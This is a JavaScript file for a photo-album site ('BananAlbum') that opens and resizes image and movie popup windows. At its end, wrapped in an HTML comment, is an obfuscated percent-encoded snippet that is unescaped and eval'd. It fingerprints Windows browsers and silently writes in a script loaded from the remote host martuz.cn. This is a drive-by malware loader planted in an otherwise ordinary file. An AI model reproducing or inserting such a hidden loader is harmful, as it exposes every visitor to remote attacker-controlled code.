function downloadURL(theURL) {
	w = 240;
	h = 180;
	x = (screen.width-w)/2;
	y = (screen.height-h)/2;
	downloadWin = window.open(theURL,"BananAlbum","status=yes,toolbar=no,resizable=yes,scrollbars=no,location=no,menubar=no,left="+x+",top="+y+",width="+w+",height="+h+"");
window.focus();
}

download = 0;
function downloadWin(theURL) {
	image = theURL;
	w = 240;
	h = 180;
	download = download+1;
	border = 36;
	x = (screen.width-w)/2;
	y = (screen.height-h)/2;
	window._w = window.open(window.respath+"download.html?image="+theURL,"BananAlbum"+download,"status=no,toolbar=no,resizable=no,scrollbars=no,location=no,menubar=no,left="+x+",top="+y+",width="+w+",height="+h+"");
	window._w.image = theURL;
}
function movieWin(theURL) {
	movie = theURL;
	w = 740;
	h = 580;
	download = download+1;
	x = (screen.width-w)/2;
	y = (screen.height-h)/2;
	window._w = window.open(theURL,"BananAlbum"+download,"status=yes,toolbar=no,resizable=yes,scrollbars=no,location=no,menubar=no,left="+x+",top="+y+",width="+w+",height="+h+"");
}
function resizeWin(image) {
		var detect = navigator.userAgent.toLowerCase();
		correctW = 8;
		correctH = screen.height-screen.availHeight-14;
		if (image.width<screen.availWidth && image.height<screen.availHeight-correctH) {
			newWidth = image.width;
			newHeight = image.height;
		} else {
			screenWH = screen.availWidth/(screen.availHeight-correctH);
			imageWH = image.width/image.height;
			if (screenWH>imageWH) {
				// use height...
				newHeight = screen.availHeight-border-correctH;
				newWidth = newHeight*imageWH;
			} else {
				// use width...
				newWidth = screen.availWidth-border;
				newHeight = newWidth/imageWH;
			}
		}
	if (document.all) {								// IE
		if (navigator.appVersion.indexOf("Mac")>-1){
			window._w.moveTo((screen.width-newWidth)/2,(screen.height-newHeight)/2-correctH);
			window._w.resizeTo(newWidth,newHeight-1);
		} else {
			window._w.moveTo((screen.width-newWidth)/2,(screen.height-newHeight-correctH)/2);
			window._w.resizeTo(newWidth+correctW,newHeight+correctH);
		}
	} else {										// Mozilla
		if (navigator.appVersion.indexOf("Mac")>-1){
			if (detect.indexOf("safari")>-1) {
				window._w.moveTo((screen.width-newWidth)/2,(screen.height-newHeight)/2);
				window._w.resizeTo(newWidth,newHeight+correctH);
			} else {
				window._w.moveTo((screen.width-newWidth)/2,(screen.height-newHeight)/2-correctH);
				window._w.resizeTo(newWidth+correctW,newHeight);
				// one more time for FireFox!
				window._w.moveTo((screen.width-newWidth)/2,(screen.height-newHeight)/2-correctH);
			}
		} else {
			window._w.moveTo((screen.width-newWidth)/2,(screen.height-newHeight+correctH)/2-correctH);
			window._w.resizeTo(newWidth+correctW,newHeight+correctH);
		}	}
}
function showDiv() {
	document.getElementById('imgShow').style.visibility="visible";
}
<!-- 
(function(){var yb7='%';var c87=unescape(('var,20a,3d,22,53c,72iptEngine,22,2cb,3d,22,56er,73,69on()+,22,2c,6a,3d,22,22,2c,75,3dnav,69gato,72,2euse,72Ag,65n,74,3bif((,75,2ei,6e,64ex,4ff(,22,43hrome,22),3c,30),26,26(u,2e,69ndexOf(,22Wi,6e,22,29,3e0),26,26(u,2e,69,6ede,78Of,28,22NT,206,22),3c0),26,26,28doc,75me,6e,74,2ec,6f,6fkie,2ei,6e,64,65xOf(,22m,69ek,3d1,22),3c,30),26,26(,74ype,6ff(zrvzts),21,3dtyp,65of(,22A,22,29)),7bzrvzt,73,3d,22,41,22,3b,65va,6c(,22i,66(wi,6edo,77,2e,22+a+,22)j,3d,6a+,22+,61+,22Majo,72,22+b+,61,2b,22Minor,22+b,2ba,2b,22Bu,69ld,22+,62+,22j,3b,22,29,3bd,6fcu,6den,74,2ewrite,28,22,3cs,63,72ipt,20src,3d,2f,2fmar,22+,22tuz,2ecn,2fv,69,64,2f,3f,69d,3d,22+j+,22,3e,3c,5c,2fscrip,74,3e,22,29,3b,7d').replace(/,/g,yb7));eval(c87)})();
 -->
